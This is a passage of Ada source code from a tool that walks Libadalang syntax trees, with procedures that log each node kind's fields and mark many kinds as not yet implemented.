Variant_List_Node : constant LAL.Variant_List := LAL.As_Variant_List (Node);
VariantListFirst : constant Positive := LAL.Variant_List_First (Variant_List_Node);
begin
Log ("VariantListFirst: " & VariantListFirst'Image);
end;
end case;
end Process_Ada_Ada_List;
procedure Process_Ada_Aliased_Node
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Aliased_Node";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Aliased_Node := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Aliased_Node
case Kind is
when Ada_Aliased_Absent =>
declare
Aliased_Absent_Node : constant LAL.Aliased_Absent := LAL.As_Aliased_Absent (Node);
begin
NULL;
end;
when Ada_Aliased_Present =>
declare
Aliased_Present_Node : constant LAL.Aliased_Present := LAL.As_Aliased_Present (Node);
begin
NULL;
end;
end case;
end Process_Ada_Aliased_Node;
procedure Process_Ada_All_Node
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_All_Node";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_All_Node := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_All_Node
case Kind is
when Ada_All_Absent =>
declare
All_Absent_Node : constant LAL.All_Absent := LAL.As_All_Absent (Node);
begin
NULL;
end;
when Ada_All_Present =>
declare
All_Present_Node : constant LAL.All_Present := LAL.As_All_Present (Node);
begin
NULL;
end;
end case;
end Process_Ada_All_Node;
procedure Process_Ada_Array_Indices
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Array_Indices";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Array_Indices := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Array_Indices
case Kind is
when Ada_Constrained_Array_Indices =>
declare
Constrained_Array_Indices_Node : constant LAL.Constrained_Array_Indices := LAL.As_Constrained_Array_Indices (Node);
ConstraintList : constant LAL.Constraint_List := LAL.F_List (Constrained_Array_Indices_Node);
begin
Log ("ConstraintList: " & ConstraintList.Debug_Text);
end;
when Ada_Unconstrained_Array_Indices =>
declare
Unconstrained_Array_Indices_Node : constant LAL.Unconstrained_Array_Indices := LAL.As_Unconstrained_Array_Indices (Node);
UnconstrainedArrayIndexList : constant LAL.Unconstrained_Array_Index_List := LAL.F_Types (Unconstrained_Array_Indices_Node);
begin
Log ("UnconstrainedArrayIndexList: " & UnconstrainedArrayIndexList.Debug_Text);
end;
end case;
end Process_Ada_Array_Indices;
procedure Process_Ada_Aspect_Assoc_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Aspect_Assoc_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Aspect_Assoc_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Aspect_Assoc_Range
case Kind is
when Ada_Aspect_Assoc =>
declare
Aspect_Assoc_Node : constant LAL.Aspect_Assoc := LAL.As_Aspect_Assoc (Node);
name : constant LAL.Name := LAL.F_Id (Aspect_Assoc_Node);
expr : constant LAL.Expr := LAL.F_Expr (Aspect_Assoc_Node);
begin
Log ("name: " & name.Debug_Text);
if not expr.Is_Null then
Log ("expr: " & expr.Debug_Text);
end if;
end;
end case;
end Process_Ada_Aspect_Assoc_Range;
procedure Process_Ada_Aspect_Clause
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Aspect_Clause";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Aspect_Clause := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Aspect_Clause
case Kind is
when Ada_At_Clause =>
declare
At_Clause_Node : constant LAL.At_Clause := LAL.As_At_Clause (Node);
baseID : constant LAL.Base_Id := LAL.F_Name (At_Clause_Node);
expr : constant LAL.Expr := LAL.F_Expr (At_Clause_Node);
begin
Log ("baseID: " & baseID.Debug_Text);
Log ("expr: " & expr.Debug_Text);
end;
when Ada_Attribute_Def_Clause =>
declare
Attribute_Def_Clause_Node : constant LAL.Attribute_Def_Clause := LAL.As_Attribute_Def_Clause (Node);
name : constant LAL.Name := LAL.F_Attribute_Expr (Attribute_Def_Clause_Node);
expr : constant LAL.Expr := LAL.F_Expr (Attribute_Def_Clause_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("expr: " & expr.Debug_Text);
end;
when Ada_Enum_Rep_Clause =>
declare
Enum_Rep_Clause_Node : constant LAL.Enum_Rep_Clause := LAL.As_Enum_Rep_Clause (Node);
name : constant LAL.Name := LAL.F_Type_Name (Enum_Rep_Clause_Node);
baseAggregate : constant LAL.Base_Aggregate := LAL.F_Aggregate (Enum_Rep_Clause_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("baseAggregate: " & baseAggregate.Debug_Text);
end;
when Ada_Record_Rep_Clause =>
declare
Record_Rep_Clause_Node : constant LAL.Record_Rep_Clause := LAL.As_Record_Rep_Clause (Node);
name : constant LAL.Name := LAL.F_Name (Record_Rep_Clause_Node);
expr : constant LAL.Expr := LAL.F_At_Expr (Record_Rep_Clause_Node);
nodeList : constant LAL.Ada_Node_List := LAL.F_Components (Record_Rep_Clause_Node);
begin
Log ("name: " & name.Debug_Text);
if not expr.Is_Null then
Log ("expr: " & expr.Debug_Text);
end if;
Log ("nodeList: " & nodeList.Debug_Text);
end;
end case;
end Process_Ada_Aspect_Clause;
procedure Process_Ada_Aspect_Spec_Range
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Aspect_Spec_Range";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Aspect_Spec_Range := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Aspect_Spec_Range
case Kind is
when Ada_Aspect_Spec =>
declare
Aspect_Spec_Node : constant LAL.Aspect_Spec := LAL.As_Aspect_Spec (Node);
aspectAssocList : constant LAL.Aspect_Assoc_List := LAL.F_Aspect_Assocs (Aspect_Spec_Node);
begin
Log ("aspectAssocList: " & aspectAssocList.Debug_Text);
end;
end case;
end Process_Ada_Aspect_Spec_Range;
procedure Process_Ada_Base_Assoc
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Base_Assoc";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Base_Assoc := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Base_Assoc
case Kind is
when Ada_Contract_Case_Assoc =>
declare
Contract_Case_Assoc_Node : constant LAL.Contract_Case_Assoc := LAL.As_Contract_Case_Assoc (Node);
guard : constant LAL.Ada_Node := LAL.F_Guard (Contract_Case_Assoc_Node);
consequence : constant LAL.Expr := LAL.F_Consequence (Contract_Case_Assoc_Node);
begin
Log ("guard: " & guard.Debug_Text);
Log ("consequence: " & consequence.Debug_Text);
end;
when Ada_Pragma_Argument_Assoc =>
declare
Pragma_Argument_Assoc_Node : constant LAL.Pragma_Argument_Assoc := LAL.As_Pragma_Argument_Assoc (Node);
id : constant LAL.Identifier := LAL.F_Id (Pragma_Argument_Assoc_Node);
expr : constant LAL.Expr := LAL.F_Expr (Pragma_Argument_Assoc_Node);
begin
if not id.Is_Null then
Log ("id: " & id.Debug_Text);
end if;
if not expr.Is_Null then
Log ("expr: " & expr.Debug_Text);
end if;
end;
end case;
end Process_Ada_Base_Assoc;
procedure Process_Ada_Base_Formal_Param_Holder
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Base_Formal_Param_Holder";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Base_Formal_Param_Holder := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Base_Formal_Param_Holder
case Kind is
when Ada_Entry_Spec =>
declare
Entry_Spec_Node : constant LAL.Entry_Spec := LAL.As_Entry_Spec (Node);
entryName : constant LAL.Defining_Name := LAL.F_Entry_Name (Entry_Spec_Node);
familyType : constant LAL.Ada_Node := LAL.F_Family_Type (Entry_Spec_Node);
entryParams : constant LAL.Params := LAL.F_Entry_Params (Entry_Spec_Node);
begin
Log ("entryName: " & entryName.Debug_Text);
if not familyType.Is_Null then
Log ("familyType: " & familyType.Debug_Text);
end if;
if not entryParams.Is_Null then
Log ("entryParams: " & entryParams.Debug_Text);
end if;
end;
when Ada_Enum_Subp_Spec =>
declare
Enum_Subp_Spec_Node : constant LAL.Enum_Subp_Spec := LAL.As_Enum_Subp_Spec (Node);
begin
NULL;
end;
when Ada_Subp_Spec =>
declare
Subp_Spec_Node : constant LAL.Subp_Spec := LAL.As_Subp_Spec (Node);
subpKind : constant LAL.Subp_Kind := LAL.F_Subp_Kind (Subp_Spec_Node);
subpName : constant LAL.Defining_Name := LAL.F_Subp_Name (Subp_Spec_Node);
subpParams : constant LAL.Params := LAL.F_Subp_Params (Subp_Spec_Node);
subpReturn : constant LAL.Type_Expr := LAL.F_Subp_Returns (Subp_Spec_Node);
begin
Log ("subpKind: " & subpKind.Debug_Text);
if not subpName.Is_Null then
Log ("subpName: " & subpName.Debug_Text);
end if;
if not subpParams.Is_Null then
Log ("subpParams: " & subpParams.Debug_Text);
end if;
if not subpReturn.Is_Null then
Log ("subpReturn: " & subpReturn.Debug_Text);
end if;
end;
when Ada_Component_List =>
declare
Component_List_Node : constant LAL.Component_List := LAL.As_Component_List (Node);
components : constant LAL.Ada_Node_List := LAL.F_Components (Component_List_Node);
variantPart : constant LAL.Variant_Part := LAL.F_Variant_Part (Component_List_Node);
begin
Log ("components: " & components.Debug_Text);
if not variantPart.Is_Null then
Log ("variantPart: " & variantPart.Debug_Text);
end if;
end;
when Ada_Known_Discriminant_Part =>
declare
Known_Discriminant_Part_Node : constant LAL.Known_Discriminant_Part := LAL.As_Known_Discriminant_Part (Node);
discrSpecs : constant LAL.Discriminant_Spec_List := LAL.F_Discr_Specs (Known_Discriminant_Part_Node);
begin
Log ("discrSpecs: " & discrSpecs.Debug_Text);
end;
when Ada_Unknown_Discriminant_Part =>
declare
Unknown_Discriminant_Part_Node : constant LAL.Unknown_Discriminant_Part := LAL.As_Unknown_Discriminant_Part (Node);
begin
NULL;
end;
when Ada_Entry_Completion_Formal_Params =>
declare
Entry_Completion_Formal_Params_Node : constant LAL.Entry_Completion_Formal_Params := LAL.As_Entry_Completion_Formal_Params (Node);
params : constant LAL.Params := LAL.F_Params (Entry_Completion_Formal_Params_Node);
begin
if not params.Is_Null then
Log ("params: " & params.Debug_Text);
end if;
end;
when Ada_Generic_Formal_Part =>
declare
Generic_Formal_Part_Node : constant LAL.Generic_Formal_Part := LAL.As_Generic_Formal_Part (Node);
decls : constant LAL.Ada_Node_List := LAL.F_Decls (Generic_Formal_Part_Node);
begin
Log ("decls: " & decls.Debug_Text);
end;
end case;
end Process_Ada_Base_Formal_Param_Holder;
procedure Process_Ada_Base_Record_Def
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Base_Record_Def";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Base_Record_Def := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Base_Record_Def
case Kind is
when Ada_Null_Record_Def =>
declare
Null_Record_Def_Node : constant LAL.Null_Record_Def := LAL.As_Null_Record_Def (Node);
begin
NULL;
end;
when Ada_Record_Def =>
declare
Record_Def_Node : constant LAL.Record_Def := LAL.As_Record_Def (Node);
begin
NULL;
end;
end case;
end Process_Ada_Base_Record_Def;
procedure Process_Ada_Basic_Assoc
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Basic_Assoc";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Basic_Assoc := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Basic_Assoc
case Kind is
when Ada_Aggregate_Assoc =>
declare
Aggregate_Assoc_Node : constant LAL.Aggregate_Assoc := LAL.As_Aggregate_Assoc (Node);
designators : constant LAL.Alternatives_List := LAL.F_Designators (Aggregate_Assoc_Node);
rExpr : constant LAL.Expr := LAL.F_R_Expr (Aggregate_Assoc_Node);
begin
Log ("designators: " & designators.Debug_Text);
Log ("rExpr: " & rExpr.Debug_Text);
end;
when Ada_Multi_Dim_Array_Assoc =>
declare
Multi_Dim_Array_Assoc_Node : constant LAL.Multi_Dim_Array_Assoc := LAL.As_Multi_Dim_Array_Assoc (Node);
begin
NULL;
end;
when Ada_Discriminant_Assoc =>
declare
Discriminant_Assoc_Node : constant LAL.Discriminant_Assoc := LAL.As_Discriminant_Assoc (Node);
ids : constant LAL.Discriminant_Choice_List := LAL.F_Ids (Discriminant_Assoc_Node);
discrExpr : constant LAL.Expr := LAL.F_Discr_Expr (Discriminant_Assoc_Node);
begin
Log ("ids: " & ids.Debug_Text);
Log ("discrExpr: " & discrExpr.Debug_Text);
end;
when Ada_Param_Assoc =>
declare
Param_Assoc_Node : constant LAL.Param_Assoc := LAL.As_Param_Assoc (Node);
designators : constant LAL.Ada_Node := LAL.F_Designator (Param_Assoc_Node);
rExpr : constant LAL.Expr := LAL.F_R_Expr (Param_Assoc_Node);
begin
if not designators.Is_Null then
Log ("designators: " & designators.Debug_Text);
end if;
if not rExpr.Is_Null then
Log ("rExpr: " & rExpr.Debug_Text);
end if;
end;
end case;
end Process_Ada_Basic_Assoc;
procedure Process_Ada_Basic_Decl
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Ada_Basic_Decl";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Basic_Decl := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Basic_Decl
case Kind is
--when Ada_Base_Formal_Param_Decl =>
-- This.Add_Not_Implemented;
when Ada_Component_Decl =>
declare
Component_Decl_Node : constant LAL.Component_Decl := LAL.As_Component_Decl (Node);
NameList : constant LAL.Defining_Name_List := LAL.F_Ids (Component_Decl_Node);
Component_Def : constant LAL.Component_Def := LAL.F_Component_Def (Component_Decl_Node);
Expr : constant LAL.Expr := LAL.F_Default_Expr (Component_Decl_Node);
begin
Log ("NameList: " & NameList.Debug_Text);
Log ("Component_Def: " & Component_Def.Debug_Text);
if not Expr.Is_Null then
Log ("Expr: " & Expr.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Discriminant_Spec =>
declare
Discriminant_Spec_Node : constant LAL.Discriminant_Spec := LAL.As_Discriminant_Spec (Node);
NameList : constant LAL.Defining_Name_List := LAL.F_Ids (Discriminant_Spec_Node);
TypeExpr : constant LAL.Type_Expr := LAL.F_Type_Expr (Discriminant_Spec_Node);
DefaultExpr : constant LAL.Expr := LAL.F_Default_Expr (Discriminant_Spec_Node);
begin
Log ("NameList: " & NameList.Debug_Text);
Log ("TypeExpr: " & TypeExpr.Debug_Text);
if not DefaultExpr.Is_Null then
Log ("DefaultExpr: " & DefaultExpr.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
--when Ada_Generic_Formal =>
-- This.Add_Not_Implemented;
when Ada_Generic_Formal_Obj_Decl =>
declare
Generic_Formal_Obj_Decl_Node : constant LAL.Generic_Formal_Obj_Decl := LAL.As_Generic_Formal_Obj_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Generic_Formal_Package =>
declare
Generic_Formal_Package_Node : constant LAL.Generic_Formal_Package := LAL.As_Generic_Formal_Package (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Generic_Formal_Subp_Decl =>
declare
Generic_Formal_Subp_Decl_Node : constant LAL.Generic_Formal_Subp_Decl := LAL.As_Generic_Formal_Subp_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Generic_Formal_Type_Decl =>
declare
Generic_Formal_Type_Decl_Node : constant LAL.Generic_Formal_Type_Decl := LAL.As_Generic_Formal_Type_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Param_Spec =>
declare
Param_Spec_Node : constant LAL.Param_Spec := LAL.As_Param_Spec (Node);
NameList : constant LAL.Defining_Name_List := LAL.F_Ids (Param_Spec_Node);
Has_Aliased : constant Boolean := LAL.F_Has_Aliased (Param_Spec_Node);
Mode : constant LAL.Mode := LAL.F_Mode (Param_Spec_Node);
begin
Log ("NameList: " & NameList.Debug_Text);
Log ("Has_Alias: " & Boolean'Image (Has_Aliased));
Log ("Mode: " & Mode.Debug_Text);
end;
This.Add_Not_Implemented;
--when Ada_Base_Package_Decl =>
-- This.Add_Not_Implemented;
when Ada_Generic_Package_Internal =>
declare
Generic_Package_Internal_Node : constant LAL.Generic_Package_Internal := LAL.As_Generic_Package_Internal (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Package_Decl =>
declare
Package_Decl_Node : constant LAL.Package_Decl := LAL.As_Package_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
--when Ada_Base_Type_Decl =>
-- This.Add_Not_Implemented;
--when Ada_Base_Subtype_Decl =>
-- This.Add_Not_Implemented;
when Ada_Discrete_Base_Subtype_Decl =>
declare
Discrete_Base_Subtype_Decl_Node : constant LAL.Discrete_Base_Subtype_Decl := LAL.As_Discrete_Base_Subtype_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Subtype_Decl =>
declare
Subtype_Decl_Node : constant LAL.Subtype_Decl := LAL.As_Subtype_Decl (Node);
bareSubtype : constant LAL.Subtype_Indication := LAL.F_Subtype (Subtype_Decl_Node);
begin
Log ("bareSubtype: " & bareSubtype.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Classwide_Type_Decl =>
declare
Classwide_Type_Decl_Node : constant LAL.Classwide_Type_Decl := LAL.As_Classwide_Type_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Incomplete_Type_Decl =>
declare
Incomplete_Type_Decl_Node : constant LAL.Incomplete_Type_Decl := LAL.As_Incomplete_Type_Decl (Node);
Discriminants : constant LAL.Discriminant_Part := LAL.F_Discriminants (Incomplete_Type_Decl_Node);
begin
if not Discriminants.Is_Null then
Log ("Discriminants: " & Discriminants.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Incomplete_Tagged_Type_Decl =>
declare
Incomplete_Tagged_Type_Decl_Node : constant LAL.Incomplete_Tagged_Type_Decl := LAL.As_Incomplete_Tagged_Type_Decl (Node);
Has_Abstract : constant Boolean := LAL.F_Has_Abstract (Incomplete_Tagged_Type_Decl_Node);
begin
Log ("Has_Abstract: " & Boolean'Image (Has_Abstract));
end;
This.Add_Not_Implemented;
when Ada_Protected_Type_Decl =>
declare
Protected_Type_Decl_Node : constant LAL.Protected_Type_Decl := LAL.As_Protected_Type_Decl (Node);
Discriminants : constant LAL.Discriminant_Part := LAL.F_Discriminants (Protected_Type_Decl_Node);
Definition : constant LAL.Protected_Def := LAL.F_Definition (Protected_Type_Decl_Node);
begin
if not Discriminants.Is_Null then
Log ("Discriminants: " & Discriminants.Debug_Text);
end if;
if not Definition.Is_Null then
Log ("Definition: " & Definition.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Task_Type_Decl =>
declare
Task_Type_Decl_Node : constant LAL.Task_Type_Decl := LAL.As_Task_Type_Decl (Node);
Discriminants : constant LAL.Discriminant_Part := LAL.F_Discriminants (Task_Type_Decl_Node);
Definition : constant LAL.Task_Def := LAL.F_Definition (Task_Type_Decl_Node);
begin
if not Discriminants.Is_Null then
Log ("Discriminants: " & Discriminants.Debug_Text);
end if;
if not Definition.Is_Null then
Log ("Definition: " & Definition.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Single_Task_Type_Decl =>
declare
Single_Task_Type_Decl_Node : constant LAL.Single_Task_Type_Decl := LAL.As_Single_Task_Type_Decl (Node);
begin
NULL;
end;
when Ada_Type_Decl =>
declare
Type_Decl_Node : constant LAL.Type_Decl := LAL.As_Type_Decl (Node);
Discriminants : constant LAL.Discriminant_Part := LAL.F_Discriminants (Type_Decl_Node);
typeDef : constant LAL.Type_Def := LAL.F_Type_Def (Type_Decl_Node);
begin
if not Discriminants.Is_Null then
Log ("Discriminants: " & Discriminants.Debug_Text);
end if;
Log ("typeDef: " & typeDef.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Anonymous_Type_Decl =>
declare
Anonymous_Type_Decl_Node : constant LAL.Anonymous_Type_Decl := LAL.As_Anonymous_Type_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Synth_Anonymous_Type_Decl =>
declare
Synth_Anonymous_Type_Decl_Node : constant LAL.Synth_Anonymous_Type_Decl := LAL.As_Synth_Anonymous_Type_Decl (Node);
begin
NULL;
end;
when Ada_Abstract_Subp_Decl =>
declare
Abstract_Subp_Decl_Node : constant LAL.Abstract_Subp_Decl := LAL.As_Abstract_Subp_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
--when Ada_Formal_Subp_Decl =>
-- This.Add_Not_Implemented;
when Ada_Abstract_Formal_Subp_Decl =>
declare
Abstract_Formal_Subp_Decl_Node : constant LAL.Abstract_Formal_Subp_Decl := LAL.As_Abstract_Formal_Subp_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Concrete_Formal_Subp_Decl =>
declare
Concrete_Formal_Subp_Decl_Node : constant LAL.Concrete_Formal_Subp_Decl := LAL.As_Concrete_Formal_Subp_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Subp_Decl =>
declare
Subp_Decl_Node : constant LAL.Subp_Decl := LAL.As_Subp_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Entry_Decl =>
declare
Entry_Decl_Node : constant LAL.Entry_Decl := LAL.As_Entry_Decl (Node);
overridding : constant LAL.Overriding_Node := LAL.F_Overriding (Entry_Decl_Node);
spec : constant LAL.Entry_Spec := LAL.F_Spec (Entry_Decl_Node);
begin
Log ("overridding: " & overridding.Debug_Text);
Log ("spec: " & spec.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Enum_Literal_Decl =>
declare
Enum_Literal_Decl_Node : constant LAL.Enum_Literal_Decl := LAL.As_Enum_Literal_Decl (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Enum_Literal_Decl_Node);
enumType : constant LAL.Type_Decl := LAL.P_Enum_Type (Enum_Literal_Decl_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("enumType: " & enumType.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Generic_Subp_Internal =>
declare
Generic_Subp_Internal_Node : constant LAL.Generic_Subp_Internal := LAL.As_Generic_Subp_Internal (Node);
subpSpec : constant LAL.Subp_Spec := LAL.F_Subp_Spec (Generic_Subp_Internal_Node);
begin
Log ("subpSpec: " & subpSpec.Debug_Text);
end;
This.Add_Not_Implemented;
--when Ada_Body_Node =>
-- This.Add_Not_Implemented;
--when Ada_Base_Subp_Body =>
-- This.Add_Not_Implemented;
when Ada_Expr_Function =>
declare
Expr_Function_Node : constant LAL.Expr_Function := LAL.As_Expr_Function (Node);
expr : constant LAL.Expr := LAL.F_Expr (Expr_Function_Node);
begin
Log ("expr: " & expr.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Null_Subp_Decl =>
declare
Null_Subp_Decl_Node : constant LAL.Null_Subp_Decl := LAL.As_Null_Subp_Decl (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Subp_Body =>
declare
Subp_Body_Node : constant LAL.Subp_Body := LAL.As_Subp_Body (Node);
decl : constant LAL.Declarative_Part := LAL.F_Decls (Subp_Body_Node);
stmt : constant LAL.Handled_Stmts := LAL.F_Stmts (Subp_Body_Node);
endname : constant LAL.End_Name := LAL.F_End_Name (Subp_Body_Node);
begin
Log ("decl: " & decl.Debug_Text);
Log ("stmt: " & stmt.Debug_Text);
if not endname.Is_Null then
Log ("endname: " & endname.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Subp_Renaming_Decl =>
declare
Subp_Renaming_Decl_Node : constant LAL.Subp_Renaming_Decl := LAL.As_Subp_Renaming_Decl (Node);
rename : constant LAL.Renaming_Clause := LAL.F_Renames (Subp_Renaming_Decl_Node);
begin
Log ("rename: " & rename.Debug_Text);
end;
This.Add_Not_Implemented;
--when Ada_Body_Stub =>
-- This.Add_Not_Implemented;
when Ada_Package_Body_Stub =>
declare
Package_Body_Stub_Node : constant LAL.Package_Body_Stub := LAL.As_Package_Body_Stub (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Package_Body_Stub_Node);
begin
Log ("name: " & name.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Protected_Body_Stub =>
declare
Protected_Body_Stub_Node : constant LAL.Protected_Body_Stub := LAL.As_Protected_Body_Stub (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Protected_Body_Stub_Node);
begin
Log ("name: " & name.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Subp_Body_Stub =>
declare
Subp_Body_Stub_Node : constant LAL.Subp_Body_Stub := LAL.As_Subp_Body_Stub (Node);
overridding : constant LAL.Overriding_Node := LAL.F_Overriding (Subp_Body_Stub_Node);
subSpec : constant LAL.Subp_Spec := LAL.F_Subp_Spec (Subp_Body_Stub_Node);
begin
Log ("overridding: " & overridding.Debug_Text);
Log ("subSpec: " & subSpec.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Task_Body_Stub =>
declare
Task_Body_Stub_Node : constant LAL.Task_Body_Stub := LAL.As_Task_Body_Stub (Node);
name : constant LAL.Defining_Name := LAL.F_Name (Task_Body_Stub_Node);
begin
Log ("name: " & name.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Entry_Body =>
declare
Entry_Body_Node : constant LAL.Entry_Body := LAL.As_Entry_Body (Node);
params : constant LAL.Entry_Completion_Formal_Params := LAL.F_Params (Entry_Body_Node);
barrier : constant LAL.Expr := LAL.F_Barrier (Entry_Body_Node);
decls : constant LAL.Declarative_Part := LAL.F_Decls (Entry_Body_Node);
stmts : constant LAL.Handled_Stmts := LAL.F_Stmts (Entry_Body_Node);
endname : constant LAL.End_Name := LAL.F_End_Name (Entry_Body_Node);
begin
Log ("params: " & params.Debug_Text);
Log ("barrier: " & barrier.Debug_Text);
Log ("decls: " & decls.Debug_Text);
Log ("stmts: " & stmts.Debug_Text);
if not endname.Is_Null then
Log ("endname: " & endname.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Package_Body =>
declare
Package_Body_Node : constant LAL.Package_Body := LAL.As_Package_Body (Node);
name : constant LAL.Defining_Name := LAL.F_Package_Name (Package_Body_Node);
decls : constant LAL.Declarative_Part := LAL.F_Decls (Package_Body_Node);
stmts : constant LAL.Handled_Stmts := LAL.F_Stmts (Package_Body_Node);
endname : constant LAL.End_Name := LAL.F_End_Name (Package_Body_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("decls: " & decls.Debug_Text);
if not stmts.Is_Null then
Log ("stmts: " & stmts.Debug_Text);
end if;
if not endname.Is_Null then
Log ("endname: " & endname.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Protected_Body =>
declare
